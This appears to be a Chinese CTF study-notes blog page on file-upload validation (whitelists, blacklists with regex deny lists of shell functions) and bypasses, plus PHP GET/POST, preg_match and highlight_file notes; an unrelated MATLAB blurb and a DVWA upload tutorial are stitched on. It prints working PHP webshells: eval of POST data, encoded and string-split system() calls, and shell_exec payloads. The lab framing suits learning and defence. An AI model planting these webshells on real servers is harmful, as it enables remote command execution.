文件上传靶场的3种白名单,3种黑名单,以及3种针对文件内容的修改。特性靶场、get,post传参方式区别(抓包看看),正则匹配,以及高亮函数作用

上传靶场:

一、文件上传三种白名单验证

1 .扩展名白名单

// 只允许特定的安全扩展名
$allowed_ext = ['.jpg', '.png', '.gif', '.pdf', '.doc'];
$ext = strtolower(strrchr($filename, '.'));
if(!in_array($ext, $allowed_ext)) {
    die("文件类型不允许");
}

特点:最安全的验证方式,只允许已知安全的扩展名。

2. MIME类型白名单

// 只允许特定的Content-Type
$allowed_mime = [
    'image/jpeg', 
    'image/png', 
    'image/gif',
    'application/pdf'
];
$file_mime = $_FILES['file']['type'];
if(!in_array($file_mime, $allowed_mime)) {
    die("文件MIME类型不允许");
}
​

特点:基于HTTP头的Content-Type验证,但容易被伪造。

3. 文件内容头白名单

// 检查文件魔术字节(文件头)
$allowed_magic = [
    "\xFF\xD8\xFF",      // JPEG
    "\x89PNG\r\n\x1A\n", // PNG
    "GIF89a",            // GIF
    "%PDF"               // PDF
];
$file_header = file_get_contents($tmp_file, false, null, 0, 8);
$valid = false;
foreach($allowed_magic as $magic) {
    if(strpos($file_header, $magic) === 0) {
        $valid = true;
        break;
    }
}
if(!$valid) die("文件内容类型不允许");

特点:最可靠的验证方式,检查文件的实际内容特征。

二、文件上传三种黑名单验证

1. 扩展名黑名单

php

// 禁止危险扩展名
$deny_ext = ['.php', '.php5', '.php4', '.php3', '.phtml', '.phar', 
             '.asp', '.aspx', '.jsp', '.jspx', '.pl', '.py', '.sh'];
$ext = strtolower(strrchr($filename, '.'));
if(in_array($ext, $deny_ext)) {
    die("危险文件类型禁止上传");
}

特点:不安全,容易被未列出的扩展名绕过(如.php6、.php7等)。

2. 危险关键词黑名单

php

// 禁止文件名包含危险关键词
$dangerous_keywords = ['shell', 'webshell', 'backdoor', 'cmd', 'exec', 
                       'eval', 'system', 'passthru', 'phpinfo'];
$filename_lower = strtolower($filename);
foreach($dangerous_keywords as $keyword) {
    if(strpos($filename_lower, $keyword) !== false) {
        die("文件名包含危险关键词");
    }
}

特点:容易被大小写、编码、拆分等方式绕过。

3. 文件内容黑名单

php

// 扫描文件内容是否包含危险代码
$dangerous_patterns = [
    '/<\?php/i',
    '/eval\s*\(/i',
    '/system\s*\(/i',
    '/shell_exec\s*\(/i',
    '/passthru\s*\(/i',
    '/proc_open\s*\(/i',
    '/popen\s*\(/i'
];
$file_content = file_get_contents($tmp_file);
foreach($dangerous_patterns as $pattern) {
    if(preg_match($pattern, $file_content)) {
        die("文件内容包含危险代码");
    }
}

特点:可能被编码、混淆、分块等方式绕过。

三、三种针对文件内容的修改绕过技术

1. 添加合法文件头绕过

php

// 在Webshell前添加图片头
GIF89a;  // 或 JPEG、PNG头
<?php @eval($_POST['cmd']); ?>

原理:让文件同时具有合法图片特征和恶意代码。

2. 编码混淆绕过

php

<?php
// Base64编码绕过
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
// 等同于:system($_GET['cmd']);
​
// 十六进制编码
eval(pack('H*','73797374656d28245f4745545b27636d64275d293b'));
​
// 多级编码
eval(gzuncompress(base64_decode('eJxLzClJLVKwVQAAOQAF')));
?>

原理:将恶意代码编码,避免直接匹配关键词。

3. 字符串拆分与拼接绕过

php

<?php
// 敏感函数拆分
$a = 'sys'.'tem';
$b = 'who'.'ami';
$a($b);
​
// 使用变量函数
$func = 'ph'.'pinfo';
$func();
​
// 数组方式
$arr = array('s','y','s','t','e','m');
$func = implode('', $arr);
$func('id');
​
// 通过常量定义
define('CMD', 's'.'y'.'s'.'t'.'e'.'m');
CMD('whoami');
?>

原理:将敏感字符串拆分成无害部分,运行时再组合。

四、补充:高级绕过技术

1. 条件执行绕过

php

<?php
// 只在特定条件下执行
if(isset($_GET['key']) && $_GET['key'] == 'secret123') {
    @eval($_POST['cmd']);
} else {
    echo "正常图片内容";
}
?>

2. 注释符混淆

php

<?php
// 利用注释干扰检测
/*<?php */eval/*注释*/($_POST/*注释*/['cmd'])/*注释*/;//*/ ?>
?>

3. 多语言标签混淆

php

<?php
// 使用短标签
<?=system($_GET['cmd'])?>
​
// ASP风格标签(如果服务器支持)
<% eval request("cmd") %>
​
// Script标签
<script language="php">system($_GET['cmd']);</script>
?>

特性靶场:

一、GET和POST传参方式区别

  • GET:参数通过URL传递,格式为 ?key1=value1&key2=value2

  • POST:参数通过请求体传递,不在URL中显示

抓包对比

GET请求示例:
GET /target.php?v1=1&v2=var_dump&v3=%29%3B%20var_dump%28%24ctfshow%29%3B%20%2F%2F%20%3A HTTP/1.1
Host: example.com
User-Agent: ...

如web89

POST请求示例:

POST /target.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
​
v1=1&v2=var_dump

如web97

二、正则匹配(preg_match

基本语法

php

preg_match(pattern, subject)

在题目中的应用

1. 检查是否包含冒号

php

preg_match("/\:/", $v2)

  • 模式:/\:/

  • 含义:匹配冒号字符 :

  • 作用:检查 $v2 中是否包含冒号

2. 检查是否不包含冒号

php

!preg_match("/\:/", $v2)

  • 取反,检查 $v2 中是否不包含冒号

3. 常用正则模式
  • /[0-9]/ - 匹配数字

  • /[a-z]/i - 匹配字母(不区分大小写)

  • /\./ - 匹配点号

  • /\;/ - 匹配分号

正则转义说明

  • \: 中的反斜杠是转义字符

  • 因为 : 在正则中有特殊含义(如 ?: 非捕获组)

  • 但单独 : 不需要转义,写 /: 也可以

三、高亮函数(highlight_file

基本功能

php

highlight_file(__FILE__);

php

show_source(__FILE__);  // 别名

作用

  1. 语法高亮:将PHP代码以HTML格式输出

  2. 颜色标记

    • 关键字(如 if, echo):通常为蓝色

    • 字符串:通常为红色

    • 注释:通常为绿色

    • 变量:通常为黑色

  3. 便于阅读:帮助开发者/攻击者理解代码结构

基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究(Matlab代码实现)内容概要:本文围绕“基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究”,介绍了利用Matlab代码实现配电网可靠性的仿真分析方法。重点采用序贯蒙特卡洛模拟法对配电网进行长时间段的状态抽样与统计,通过模拟系统元件的故障与修复过程,评估配电网的关键可靠性指标,如系统停电频率、停电持续时间、负荷点可靠性等。该方法能够有效处理复杂网络结构与设备时序特性,提升评估精度,适用于含分布式电源、电动汽车等新型负荷接入的现代配电网。文中提供了完整的Matlab实现代码与案例分析,便于复现和扩展应用。; 适合人群:具备电力系统基础知识和Matlab编程能力的高校研究生、科研人员及电力行业技术人员,尤其适合从事配电网规划、运行与可靠性分析相关工作的人员; 使用场景及目标:①掌握序贯蒙特卡洛模拟法在电力系统可靠性评估中的基本原理与实现流程;②学习如何通过Matlab构建配电网仿真模型并进行状态转移模拟;③应用于含新能源接入的复杂配电网可靠性定量评估与优化设计; 阅读建议:建议结合文中提供的Matlab代码逐段调试运行,理解状态抽样、故障判断、修复逻辑及指标统计的具体实现方式,同时可扩展至不同网络结构或加入更多不确定性因素进行深化研究。
### DVWA 文件上传漏洞 关卡通过 方法 教程 解决方案 #### 背景概述 DVWA(Damn Vulnerable Web Application)是一款用于学习和实践Web安全漏洞的靶场工具。其中,“File Upload”模块主要模拟文件上传功能中的常见漏洞,例如未对文件类型进行严格校验、允许恶意脚本执行等。 在该模块中,攻击者可以通过绕过文件类型的检测机制,成功上传可被执行的PHP脚本或其他危险文件,从而实现远程代码执行 (RCE)[^1]。 --- #### 技术细节与解决方案 ##### 1. **了解文件上传漏洞的核心** 文件上传漏洞通常源于服务端未能有效验证用户提交的文件类型或扩展名。即使前端进行了简单的过滤,后端也可能存在逻辑缺陷,使得攻击者能够上传任意文件并触发进一步的安全风险[^2]。 ##### 2. **利用 Apache 和 Nginx 的特性** 对于基于 PHP 的应用环境,可以尝试通过修改 `.htaccess` 或 `nginx.htaccess` 来调整服务器行为。例如,在某些场景下,上传名为 `nginx.htaccess` 的配置文件可能改变目标路径的行为模式,进而规避常规防护措施。 ##### 3. **构造 Payload 实现 RCE** 为了完成挑战,需设计一个有效的载荷以突破文件类型限制并将恶意脚本植入到服务器上。以下是常见的做法: - 构造伪装图片文件:创建一张看似正常的图像文件,但在其元数据部分嵌入 PHP 代码片段。 ```bash <?php echo shell_exec($_GET[&#39;cmd&#39;]); ?> ``` - 使用工具如 `exiftool` 修改图片头部信息或将上述代码隐藏于二进制流内部。 - 提交经过处理后的文件至目标表单,并观察返回结果是否符合预期。 ##### 4. **防御加固建议** 针对此类威胁,开发人员应采取以下策略加强安全性: - 明确限定支持的 MIME 类型; - 对所有输入参数实施白名单匹配而非黑名单排除法; - 将已接收的数据存储于隔离目录之外的位置以防意外解析为脚本运行; - 启用 CSP 头部声明减少跨域资源共享带来的隐患;最后记得定期更新框架版本修补已知 bug[^3]。 --- #### 示例代码展示 下面给出一段简单示例演示如何动态转换字符编码防止潜在注入问题的发生: ```php $result = $_POST[&#39;data&#39;]; // 假设这是从前端获取的内容 // 添加转码操作避免因不同平台间差异引发错误解释现象 $result = iconv("GBK", "UTF-8", $result); echo htmlspecialchars($result, ENT_QUOTES, &#39;UTF-8&#39;); ``` 以上代码片段展示了怎样运用函数 `iconv()` 进行必要的文字集映射变换过程,同时调用了 `htmlspecialchars()` 函数保障输出层面上不会残留任何非法标记符号。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值